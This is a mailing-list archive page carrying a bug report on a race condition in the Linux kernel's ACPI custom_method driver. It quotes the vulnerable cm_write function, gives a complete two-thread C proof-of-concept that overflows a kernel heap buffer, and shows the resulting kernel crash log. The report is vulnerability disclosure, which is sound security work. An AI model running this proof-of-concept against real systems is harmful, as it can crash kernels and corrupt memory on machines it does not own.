Linux acpi custom_method driver security bug report!

[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

 



Hi,

I found linux kernel bug. so report this!
I want to get credit(CVE)
I look forward to your reply.


Linux custom_mehtod driver race condition to heap overflow



https://android.googlesource.com/kernel/common/+/refs/heads/android-4.14-p/drivers/acpi/custom_method.c



https://github.com/torvalds/linux/blob/master/drivers/acpi/custom_method.c





The cm_write function in custom_method.c has a race condition vulnerability.



static ssize_t cm_write(struct file *file, const char __user * user_buf,

                                        size_t count, loff_t *ppos)

{

static char *buf;

static u32 max_size;

static u32 uncopied_bytes;

….

….

}



This static local variable is used, but no mutex lock is used. So race
condition occurs.

A race condition can cause a heap overflow.











/* /sys/kernel/debug/acpi/custom_method */



static ssize_t cm_write(struct file *file, const char __user * user_buf,

                                        size_t count, loff_t *ppos)

{

             static char *buf;

             static u32 max_size;

             static u32 uncopied_bytes;



             struct acpi_table_header table;

             acpi_status status;



             if (!(*ppos)) {

                           /* parse the table header to get the table length */

                           if (count <= sizeof(struct acpi_table_header))

                                        return -EINVAL;

                           if (copy_from_user(&table, user_buf,

                                                        sizeof(struct
acpi_table_header)))

                                        return -EFAULT;

                           uncopied_bytes = max_size = table.length;
// controll max_size.

                           buf = kzalloc(max_size, GFP_KERNEL);

                           if (!buf)

                                        return -ENOMEM;

             }



             if (buf == NULL)

                           return -EINVAL;



             if ((*ppos > max_size) ||

                 (*ppos + count > max_size) ||

                 (*ppos + count < count) ||

                 (count > uncopied_bytes))

                           return -EINVAL;



             if (copy_from_user(buf + (*ppos), user_buf, count)) {  //
heap overflow

                           kfree(buf);

                           buf = NULL;

                           return -EFAULT;

             }



             uncopied_bytes -= count;

             *ppos += count;



             if (!uncopied_bytes) {

                           status = acpi_install_method(buf);

                           kfree(buf);

                           buf = NULL;

                           if (ACPI_FAILURE(status))

                                        return -EINVAL;

                           add_taint(TAINT_OVERRIDDEN_ACPI_TABLE,
LOCKDEP_NOW_UNRELIABLE);

             }

             return count;

}.



if (copy_from_user(&table, user_buf,

                                                        sizeof(struct
acpi_table_header)))

                                        return -EFAULT;

                           uncopied_bytes = max_size = table.length;
// controll max_size.

                           buf = kzalloc(max_size, GFP_KERNEL);



…

…

…

             if (copy_from_user(buf + (*ppos), user_buf, count)) {  //
heap overflow



First, in thread 1, max_size is set to 0x1000 and kzalloc is allocated
to 0x1000. and Copy user input to copy_from_user in the allocated heap
space. Just before copying from copy_from_user, we assign 0x100 to
kzalloc for buf on thread 2. Then, thread 1 copies 0x1000 to the
reallocated 0x100 heap space, causing a heap overflow.

























This is My POC Code.



#include <stdio.h>

#include <stdlib.h>

#include <string.h>

#include <unistd.h>

#include <fcntl.h>

#include <pthread.h>

#include <sys/types.h>

#include <sys/ioctl.h>



typedef unsigned int u32;

typedef unsigned char u8;



int fd, fd2;



#define ACPI_NAME_SIZE                  4

#define ACPI_OEM_ID_SIZE                6

#define ACPI_OEM_TABLE_ID_SIZE          8



struct acpi_table_header {

             char signature[ACPI_NAME_SIZE];           /* ASCII table
signature */

             u32 length;                 /* Length of table in bytes,
including this header */

             u8 revision;                /* ACPI Specification minor
version number */

             u8 checksum;                         /* To make sum of
entire table == 0 */

             char oem_id[ACPI_OEM_ID_SIZE];           /* ASCII OEM
identification */

             char oem_table_id[ACPI_OEM_TABLE_ID_SIZE];         /*
ASCII OEM table identification */

             u32 oem_revision;  /* OEM revision number */

             char asl_compiler_id[ACPI_NAME_SIZE];           /* ASCII
ASL compiler vendor ID */

             u32 asl_compiler_revision;            /* ASL compiler version */

             char buf[0x10000];

} ;



void *thread1(void *arg) {

             struct acpi_table_header abc;

             memset(&abc, 0, sizeof(abc));

             while(1) {

                           abc.length = 0x100;

                           write(fd, &abc, 0x10000);

             }

}



void *thread2(void *arg) {

             struct acpi_table_header abc;

             memset(&abc, 0, sizeof(abc));

             while(1) {

                           abc.length = 0x10000;

                           write(fd2, &abc, 0x10000);

             }

}





int main(int argc, char *argv[])

{



             fd = open("/sys/kernel/debug/acpi/custom_method", O_WRONLY);

             fd2 = open("/sys/kernel/debug/acpi/custom_method", O_WRONLY);

             pthread_t tid;



             pthread_create(&tid, NULL, thread1, NULL);

             pthread_create(&tid, NULL, thread2, NULL);



             getchar();



             return 0;

}


[  817.068780][ T5809] usercopy: Kernel memory overwrite attempt
detected to SLAB object 'kmalloc-256' (offset 0, size 65536)!
[  817.069671][ T5809] ------------[ cut here ]------------
[  817.069998][ T5809] kernel BUG at mm/usercopy.c:98!
[  817.070304][ T5809] invalid opcode: 0000 [#1] PREEMPT SMP KASAN
[  817.070665][ T5809] CPU: 3 PID: 5809 Comm: custom_method_p Not
tainted 5.3.0-rc8+ #4
[  817.071151][ T5809] Hardware name: QEMU Standard PC (i440FX + PIIX,
1996), BIOS 1.10.2-1ubuntu1 04/01/2014
[  817.071772][ T5809] RIP: 0010:usercopy_abort+0xae/0xd0
[  817.072083][ T5809] Code: 38 08 c4 ff 48 8b 45 c0 4d 89 e9 48 89 d9
4c 8b 45 c8 41 57 4c 89 e6 48 c7 c7 e0 3b 35 87 48 8b 55 d0 41 56 50
e8 16 56 af ff <0f> 0b 49 c7 c5 80 39 35 87 4c 89 e8 4d 89 e8 e9 76 ff
ff ff 0f 1f
[  817.073260][ T5809] RSP: 0018:ffff888118fa7bf0 EFLAGS: 00010286
[  817.073653][ T5809] RAX: 0000000000000067 RBX: ffffffff8815ee9f
RCX: ffffffff815726b8
[  817.074152][ T5809] RDX: 0000000000000000 RSI: 0000000000000008
RDI: ffffffff89fca180
[  817.074638][ T5809] RBP: ffff888118fa7c48 R08: ffffed102351e0d1
R09: ffffed102351e0d1
[  817.075144][ T5809] R10: 0000000000000180 R11: ffffed102351e0d0
R12: ffffffff87353a40
[  817.075611][ T5809] R13: ffffffff8815c4b5 R14: 0000000000000000
R15: 0000000000010000
[  817.076078][ T5809] FS:  00007f5ae2831700(0000)
GS:ffff88811a8c0000(0000) knlGS:0000000000000000
[  817.076605][ T5809] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  817.076991][ T5809] CR2: 00007f5ae282f000 CR3: 0000000100bf6000
CR4: 00000000000006e0
[  817.077502][ T5809] DR0: 0000000000000000 DR1: 0000000000000000
DR2: 0000000000000000
[  817.077968][ T5809] DR3: 0000000000000000 DR6: 00000000fffe0ff0
DR7: 0000000000000400

kernel panic log!




[Index of Archives]     [Linux IBM ACPI]     [Linux Power Management]     [Linux Kernel]     [Linux Laptop]     [Kernel Newbies]     [Share Photos]     [Security]     [Netfilter]     [Bugtraq]     [Yosemite News]     [MIPS Linux]     [ARM Linux]     [Linux Security]     [Linux RAID]     [Samba]     [Video 4 Linux]     [Device Mapper]     [Linux Resources]

  Powered by Linux